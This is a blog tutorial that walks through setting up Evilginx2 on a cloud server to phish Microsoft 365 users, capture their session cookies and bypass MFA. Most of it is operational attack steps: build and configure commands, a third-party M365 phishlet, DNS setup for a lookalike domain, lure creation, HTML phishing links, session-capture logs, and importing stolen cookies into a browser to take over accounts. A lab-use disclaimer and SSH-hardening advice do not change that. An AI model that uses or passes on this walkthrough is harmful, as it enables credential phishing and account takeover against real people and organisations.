Evilginx : MiTM for session exploiting

Well if ever you needed a wakeup call for security problems this is it people, the magical software it a MiTM (Man int he Middle) attack software that relies on social engineering and phishing, you can then target certain websites and extract the session cookies from a valid victim and the login as that user without the user being present, all you need for this to work is to “lure” the user into clicking a specially crafted web link - from here all seems normal to the user - but as of many things looks are not with what they appear to be πŸ˜‰

Warning: Author accepts no responsibility for abusing educational/learning software and/or using this guide outside of a learning setting outside of a lab/training setting, actively using this attack, may have legal implications and security implications in your company.

This bypasses the requirement for a password and it also bypasses the requirement for MFA as you end up injecting cookies into the browser which are "valid" for the attacker and these cookies are the actual "victims" session cookies πŸͺ 

If you like a visualisation of this then you can view the below infographic, however in this infographic you see Google as the real website, for this guide we will use Office 365.

So first thing you need is a CentOS Stream v9 Linux machine, well you can use anything but I have for this example used CentOS Linux, this is also hosted in Digital Ocean as you get $200 free credit for 60 days - sweet! 

This is called a Droplet and as you see here my droplet is called evilginx as yes you can see the IP, but its only temporary for this guide, and this is reserved IP so it does not change dynamically and unexpectedly:

Then for this I will access the console from the website, you need the options dots then access console as below:

This will then take you to the droplet console control, where you wish to login as root as it says so all you need do here is click "Launch Droplet Console"

Then you will see the console, you also have the option of connecting with Putty if you wish with the username and password option as well:

πŸ¦– Reserve your IP address

You do not want the IP address changing in your lab so its best to have a static or reserved IP assigned for this you need to expand the manage options, then choose networking as below:

Then on the Networking section choose Reserved IPs as below:

This will then tell you that there are no Reserved IPs, and give you the droplet in the list, so select the "Assign Reserved IP"

This will then start the asasignment process as you can see below:

After a short wait you can now see that the IP is now a static IP:

Then if you look at the Droplet you will see that the server has the reserved IP assigned and ready to use:

πŸ”₯ SSH Login Attempts

when using a cloud hosting solution, You have to obviously be aware that this is a shared platform and while there is no security problem with that, you need to remember that many of these server address ranges are scanned by lots of people, which means if you introduce a new SSH server without any kind of firewall protection - You will find the thinner short space of time you will have a lot of failed login attempts.

This is absolutely no difference to allowing a windows computer, native Internet access with RDP open and network shares available to the Internet, in a matter of minute, you will have people trying to exploit these vulnerabilities.

In the time it took me to write the steps below, I noticed that I had 894 invalid logon attempts from random addresses across the Internet, proving a point that the unprotected SSH connection is not a good idea.

Luckily, there are some helpful compartments. You can use to check these SSH connections out, The first is “last” this will tell you all the valid connections

Then the other command you have is “lastb” this will tell you every connection that has been unsuccessful, that will look something like this:

root     ssh:notty    222.92.89.xx     Sat Nov 4

The full list was crazy long for a 10 minute delay, for people interested this is full list, all those naughty people trying to attack my server, this is why you need the firewall rules in place for sure.

πŸ”— View connection attempts while firewall was disabled

πŸ₯Š SSH Key not Password

Passwords are very insecure, If you must use a passwords then you only have a couple of options if you wish to secure your SSH connection.

1. Change the port, it listens on - while it’s not a very good defense against the port scanner, it will persuade people looking for a quick login to go somewhere else

2. ensure you use a very secure password, However, if it’s not randomly generated and appears in a breach, it offers, no protection whatsoever.

3. Don’t use the password instead use a key πŸ”‘ - you will require this key to connect to your SSH server and it does not accept passwords if you choose this option, Which means people cannot brute for your server. Looking for a password to get in, While this doesn’t stop for trying to crack a 512 bit EDCH key is practically impossible

you will have two options here, switch your week password authentication to key based OR if you have not built the server yet get the option right from the start, this is usually configured during the server build process.

Switch to key πŸ”‘ from password

Build server as key : 1Password πŸ” 

If you have not built the server yet then when you create your Droplet locate the authentication options then here choose SSH key from the options then "Add SSH key" 

This for me will require the use of 1Password as a SSH key option, however I will cover the other method as well, but first 1Password method

Then I need to Create a SSH key from the 1Password menu:

Then I need to give it a name and the key type which here I would recommend be the secure one, not the RSA option:

Then you will see the key which will be saved in 1Password and in Digital Ocean as below:

Build server as key : PuttyGen πŸ”

Warning: SSH key shown below is not an active key used on my servers.

If you do not have a password manager that can do SSH keys then you need an application called Puttygen which is included with the Putty install,

When you run the application ensure you choose EdDSA with 255bits for security and then click generate:

Now wiggle your mouse to generate some random data:

Then you will get your public key and your fingerprint as below:

Then you need to put it here in the Droplet creation authentication section:

Then ensure you tick that SSH key before you deploy your Droplet:

🌲 Create firewall rules and assign to Droplet

You have two options here depending on if you use the Cloudflare service or not, If you have your DNS pointing at Cloudflare, then you can use Spectrum - this acts as a secure gateway between SSH and Cloudflare.

Firewall Rules

This is the best option for people not using Cloudflare, navigatre to the Networking options in Digital Ocean control panel, this choose Firewalls and Create Firewall as below:

Then give the firewall a relevant name as below:

Then jsut below that you will see "Inbound Rules" and it will look like this, which is wrong because that means the whole internet can access you droplet on SSH which is TCP:22 - this will need to be updated.

I woudl recommend to stop everyone being able to SSH to your Droplet that you change it to the name of your droplet which will stop "everyone" from seeing a server on TCP:22 and trying to exploit it.

Note : If you need other firewall rules then you will need to add them here as well, at the moment this is all we require, but later on we will need to allow HTTPS, but I will cover that later on when required.

Then once done choose the Droplets tab as below:

Then choose Add Droplet and then enter the name of your Droplet as below and click Add, simple all done:

πŸ”“ Cloudflare, Spectrum and Firewall Rules

WARNING : You need Cloudflare Pro or higher to use Spectrum

This is the same as the "none Cloudflare" guide expect need to complete this as well and setup Spectrum, lets get cracking!

Locate Cloudflare Service IP's

You will need to allow Cloudflare source addresses in your firewall rule as allowed IPs - this is publicly available, and can be obtained from this link > https://www.cloudflare.com/ips-v4/

Note : You will not be able to connect with IPv6 unless enabled, however, if you wish to use IPv6, you will need to get those IP ranges from this article : https://www.cloudflare.com/ips-v6

Cloudflare IPv4 Service list

That should give you a list of something like this, this was the live list at the time of writing this article:
Update Firewall Rule with Service IP's

The above IP ranges will need to be the only addresses allowed to talk to your server using TCP:22 - this will require all SSH connections to go via Spectrum, so first lets update the firewall rule like this:

Setup Spectrum in Cloudflare

Then you need to login to Cloudflare and find the domain linked to your endpoint, then from Cloudflare find the Spectrum option as below:

Then you want to create a new application

Then you require SSH and then continue as below:

Then fill in the required details before creating the application:

Then you will see this application in the Spectrum overview section as you can see below, ignore the high connections I was performing some load testing on the service when I took the screen grab.

Update CentOS

The first order of business is to get the updates completed, with this command

sudo dnf update

This will then return all the updates as you can see below:

This will end with something like this where you will get an summary of everything to be updated, here we can see 10 new pckges and upgrades to 163 packages - you need to say "Y"

Once you give the approval off it will go downloading all the packages as you can see here:

Then the next step is to update them, you can see here I have 336 installs and updates, leave this for a moment as it updates:

Once you get to update 336 this scriptlet update may take  some time, wait for this to finish without errors before you move on: 

Then when it completes, my droplet took 3 minutes, you will see a list of updates and what has been installed which should say "Complete!"

Install Prerequisites

Next we need this command:

sudo dnf install git go-toolset

This will install the dependencies requires for Evilginx 

This will then end in the summary of what will be installed where you need to approve that with a "y" again, the same as when they brought Skynet online and ruined the world"

This will then get all the packages downloaded as you can see here:

This should then end up with a summary of what has been installed as you can see below, which should end in a "Complete!" as below: 

Evilginx - Git Clone to get you started

Next web need to visit this website which is where Evilginx is located on Git which is this website: https://github.com/kgretzky/evilginx2 once here find the Code button which is in green and then click that and you will notice the link you need to clone....

Then you need to use this link to clone the repository which you can do with this command:

git clone https://github.com/kgretzky/evilginx2.git

This will then look like this, it should take a couple seconds:

Then you need to move into the directory created, so start with an "ls" and notice you have a directory called "evilginx2" s you will need to "cd evilginx2/" to get the directory and then do another "ls" to take a look at the contents as below:

Evilginx - Build the application

Then we need the command


This will then build Evilginx, this will take some time, mine build took about 40 seconds this is what occurs when its building:

Once the build is complete you will get a command prompt return feed to tell you all is done:

If you then perform an "ls" you will notice you have a build directory now, and if you cd build you will notice you now have the executable all ready for execution as below:

Evilginx - Power up the magic

Right, so if you run the command:


This should now show you the interface as below, which is all good news....however we need to more before we can use it.....

The error we get is shown below:

you need to provide the path to directory where your phishlets are stored: ./evilginx -p <phishlets_path>

Evilginx Phishlets Setup 

This now requires the phishlets to operate correctly, there are YAML files that specify how the payloads work, so if you move up a directory you will notice you have a "phishlets" directory where you get an example.yaml file.....

If you use the command below

nano example.yaml

Note : If you do not have nano installed, then run the command : sudo dnf -y install nano

You can then see the structure of what the file is all about as below:

So from the current directory in the phishlets directory lets create a m365.yaml file with this command:

sudo nano m365.yaml

Then from the nano editor will need to copy the m365.yaml contents into the nano editor like this:

Note : If you need the contents of this file then you can get that from the Github page that has lots of pre-made phishlets from this link: https://github.com/An0nUD4Y/Evilginx2-Phishlets - however bear in mind that some may not work and are not aways finished.

Then press Cttrl + x, when you do you need to say "y" to save the file:

You will then be asked to confirm the name of the file which should be m365.yaml as you can see here:

This will return you to the shell where if you enter "ls" you will now notice you have the m365.yaml file all ready to use:

Right, now move upa  directory and then you need the command:

build/evilginx -p phishlets/

Evilginx Phishlets loaded but inactive

When you run this command, you will now see that Evilginx now loads using this phishlets as below:

These are the phishlets loaded, but as you can see there are disabled:

If you noticed in the start-up data we have some warning that the domain is not set and neither is the IP address, so we will have more to configure.

Evilginx Domain Configuration

Now you need to setup the domain address for Evilginx to use, this is completed with this command:

config domain <domain>

That should look like this:

Evilginx IPv4 External Address

Now you need to setup the external address for Evilginx to use, this is completed with this command:

config ipv4 <ip address>

That should look like this:

Phishlets Hostname Setting

You also need to now set the phishlets hostname for the "m365" to the correct domain with this:

phishlets hostname m365 <domain>

That should look like this:

DNS “A” record creation

The final stage before we move on, is to create the relevant A in the DNS for the domain you are using, so, as we observed earlier the domain is grizzlybear.me.

We will therefore need to create some A records, so we know the primary target is download, however, the other components for office 365 login attempts will include logon, login, www

Now we know the records we need to get them created in our DNS, that should look something like this:

Note : Cloudflare gives you the option to proxy a DNS record or not, I have chosen to proxy the records, which means you will see the orange cloud icon:

Enable Phishlets

The final set is enable your Phishet for the "m365" payload, which you can do with this command:

phishlets enable m365

This will then generate the SSL certificates and setup your Phishlet which is confirmed below:

Check Phishlets is enabled

Now you need to ensure your Phishlets are enabled, to complete this type into the shell "quit" then run up Evilginx again using this command and this time you will be presented with status bxo of it being enabled:

Just like this:

Pre-flight Checks : Startup

You should now see now errors when you start Evilginx, if you get any [War] errors these will need to be corrected before you continue with this guide:

Pre-flight Checks : Configuration

Finally, review the consideration with the command:


This will show you the running configuration as you provided it from the earliest steps in this guide:

Note : The default URL is a "Rick Astley Rick-roll" video

Pre-Flight : NoAuth Protection

This setting will block any scanners or people who browse to the IP without the unique parameter, which will include anyone who visits the root domain, this is recommended to have enabled.

Evilginx Lures Setup

Now we need to configure the lure with these commands:

lures create m365 
lures edit 0 redirect_url https://portal.office.com 
lures get-url 0

That should look like this, once complete you will get your lure URL you need to include in the e-mail as below:

This means my lure for this example is : https://login.grizzlybear.me/<unique_id>

If you then run the command:


You will then see all your lures 

Excellent, now we can move right along to the email that the user will need to click and then enter their credentials and complete the MFA for the session token.

πŸ›‘ ✋ Social Engineering “human factors”

Before we move onto crafting the social engineering email, please be mindful that if you’re doing this to actual users remember that users may not have their security hat on with every e-mail, personal stress factors, and work stress factors With tight deadlines can also add to why user click the link without checking.

If you get people click on links in messages like this then your first port of call should be understanding, workloads and why the user thought it was acceptable to open the message, this should not be used as a punishment technique, the user is just trying to do their job πŸͺ

Please remember that there is a human at the other end of this process who will have their confidence severely damaged.

Ironically, social engineering proves that if people are clicking links in emails without checking them, however, fixing problems like that go well beyond security controls and email hygiene - personally, that depend on how well security is at the forefront of peoples minds, however, humans don’t do too well in stressful conditions, So if someone thinks they can quickly respond to an email by clicking a button or a link there’s a high chance that’s what will happen.

Many people are not going to spot the fake email address, the inconsistent wording, the dodgy links, the silly messages you have at the bottom of the email, the ability to analyze message headers to verify integrity, in the email example below, you have three hyperlinks, and all of those links are malicious - Therefore, the user in this instance will have limited options, which will include:

Click one of the links that will spell certain doom
Delete the message
Forward the message to the IT/Security team
Realize there’s a problem with an email 

The order of that list is no coincidence you’re more likely to get someone click a link or delete it, also, remember the flipside of doing stuff like this, where your users just expect everything to be phishing And assume all emails are unsafe - this outcome is also not ideal 🀨

πŸ“§ Social Engineering and Phishing Links

This section is all about the e-mail that you send to the user, and the user needs to click on the link in this e-mail, for this example I have crafted this e-mail via HTML, obviously not real at all, but all the user needs to click the link without checking it:

Note  : The first line does not make sense, and the time of activity is ripped directly out of the Star Wars movie, but this is an example that people should not be clicking on

Then from the code this will send them to my lure link, the text give the users some action, but they all do the same thing:

<li><a href="https://login.grizzlybear.me/eJwIbfTg">Confirm Identity</a></li>
                     <li><a href="https://login.grizzlybear.me/eJwIbfTg">Report to Security</a></li>
                     <li><a href="https://login.grizzlybear.me/eJwIbfTg">Report Malicious activity</a></li>

Obviously you will need to craft one for your own organisation and requirements, but the goal is to get the user or victim to click on the link.

Waiting for Victim to click and expose credentials

Once the victim clicks in the link you will see this:

[16:26:46] [imp] [0] [m365] new visitor has arrived: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 (172.377.178.91)
[16:26:46] [inf] [0] [m365] landing URL: https://login.grizzlybear.me/eJwIbfTg
[16:26:46] [+++] [0] detected authorization URL - tokens intercepted: /
[16:26:47] [+++] [0] detected authorization URL - tokens intercepted: /common/oauth2/v2.0/authorize
[16:26:47] [imp] [0] dynamic redirect to URL: https://portal.office.com

Which will look something like this:

Then after the login you will have captures the session cookies, to see this in action you can then type in to the shell:


This will then confirm that credentials have been captured:

Extracting Sessions

Once the lure is clicked look at these timings and it is quick, the request comes in at 16:35:20 seconds the entry in bold and then by 16:35:21 it has intercepted the session and redirected it back to the "correct" portal - for under 1 second user will see the Evilginx URL  then its back the offical site:

[16:35:20] [imp] [0] [m365] new visitor has arrived: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36 (
[16:35:20] [inf] [0] [m365] landing URL: https://login.grizzlybear.me/eJwIbfTg
[16:35:20] [+++] [0] detected authorization URL - tokens intercepted: /
[16:35:20] [+++] [0] detected authorization URL - tokens intercepted: /common/oauth2/v2.0/authorize
[16:35:21] [imp] [0] dynamic redirect to URL: https://portal.office.com
[16:35:21] [war] blacklist: request from ip address '' was blocked
[16:35:21] [+++] [0] detected authorization URL - tokens intercepted: /common/oauth2/v2.0/authorize

This is how that looks:

Extract Session Data (Cookies)

Now you need the session data which can be done with this command:

sessions 1

You will then get all the session data and other yummy details, rather than give you session tokens I have covered them up with happy bear for you all to view:

User Trace with MiTM process

This shows what happens to your traffic, as you can see from below the redbox is Evilginx ad the green box are the official Microsoft servers after the MiTM is active and logging: 

Cookie Manipulation (browser specific)

To use the captured cookies you will need the session cookies from Evilginx and you will also need a Cookie importer, anyone will do but I like the one called "Cookie-Editor" which you can get from here

That should look like this and you will need the "Insall Now" button:

Then you need to choose your browser fo choice, I will be using Chrome - as there is no place like chrome:

This will then take you to the extension install, where you obviously need to choose "Add to Chrome" as below:

You will then need to "Add the Extension" 

This will then confirm it has been installed:

Then click on the plugins icon, which could also be called the jigsaw piece and then choose the plugin as below:

You will then need to request data for all sites as below:

Then confirm you want this permission to apply to all sites, this is required to use the tool:

The the final action is to use the plugins icons and then click the pin icon, and this will then add it to your toolbar as below, the icon is in the green below:

Now you have this done click on the cookie icon and then choose the import option which is the bottom row of icons highlighted below:

You will need to clear all the cookies you have with the delete option which can be seen when you hover over a cookie you wish to delete as below:

Once deleted ensure when you victim the target victim website you get the login box like this for https://portal.azure.com:

And then this for the Office applications, like https://outlook.office.com:

This confirms you are currently not signed in as anyone

Then we need to find the option to import valid cookie data into your browser as you can see below, this is where you put your session data from Evilginx then click in the import button:

Once completed you will see your newly imported session cookies as below, you may get more of less than the list below, but after the import you should see cookies:

Now lets try that test again to the same websites as before, so first is https://portal.azure.com:

Then we have the Outlook application which is https://outlook.office.com:

This confirms we are now logged in as the user, using the session cookies without MFA or passwords, and this account is now owned by the threat actor.

Previous Post Next Post

Ω†Ω…ΩˆΨ°Ψ¬ Ψ§Ω„Ψ§ΨͺΨ΅Ψ§Ω„